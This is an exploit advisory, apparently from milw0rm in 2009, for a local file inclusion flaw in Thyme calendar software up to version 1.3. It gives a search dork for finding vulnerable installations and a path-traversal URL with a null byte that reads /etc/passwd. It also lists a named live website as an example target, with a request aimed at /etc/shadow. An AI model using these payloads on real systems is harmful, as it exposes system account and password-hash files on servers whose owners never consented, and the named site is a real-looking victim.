36 lines
No EOL
1.3 KiB
Text
36 lines
No EOL
1.3 KiB
Text
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
|
|
| Theme Local File Inclusion / (Register_globals: off) |
|
|
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
|
|
| Version: <= 1.3 |
|
|
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
|
|
| Dork: Thyme 1. © 2006 eXtrovert Software LLC. All rights reserved |
|
|
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
|
|
| Founded by: cheverok[at]gmail.com |
|
|
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
|
|
|
|
--------------------------------------------------------------------------------------
|
|
Intro:
|
|
|
|
See info
|
|
|
|
http://host/patch/phpinfo.php
|
|
|
|
|
|
if register_globals Off, then
|
|
|
|
---------------------------------------------------------------------------------------
|
|
Exploit:
|
|
|
|
http://host/patch/modules/sync/export.php?export_to=../../../../../../../../../../../etc/passwd%00
|
|
|
|
|
|
---------------------------------------------------------------------------------------
|
|
Example:
|
|
|
|
|
|
http://www.cbpool.org/thyme/modules/sync/export.php?export_to=../../../../../../../../../../../etc/shadow%00
|
|
|
|
----------------------------------------------------------------------------------------
|
|
(c) cheverok, 10.2.2009 greetz to antichat
|
|
|
|
# milw0rm.com [2009-02-10] |